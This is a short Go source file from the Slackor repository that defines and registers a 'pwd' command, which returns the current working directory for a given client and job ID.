github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/common/pwd.go (about)

     1  package common
     2  
     3  import (
     4  	"os"
     5  
     6  	"github.com/n00py/Slackor/pkg/command"
     7  )
     8  
     9  // PWD gets the current working directory
    10  type PWD struct{}
    11  
    12  // Name is the name of the command
    13  func (p PWD) Name() string {
    14  	return "pwd"
    15  }
    16  
    17  // Run gets the current working directory
    18  func (p PWD) Run(clientID string, jobID string, args []string) (string, error) {
    19  	return os.Getwd()
    20  }
    21  
    22  func init() {
    23  	command.RegisterCommand(PWD{})
    24  }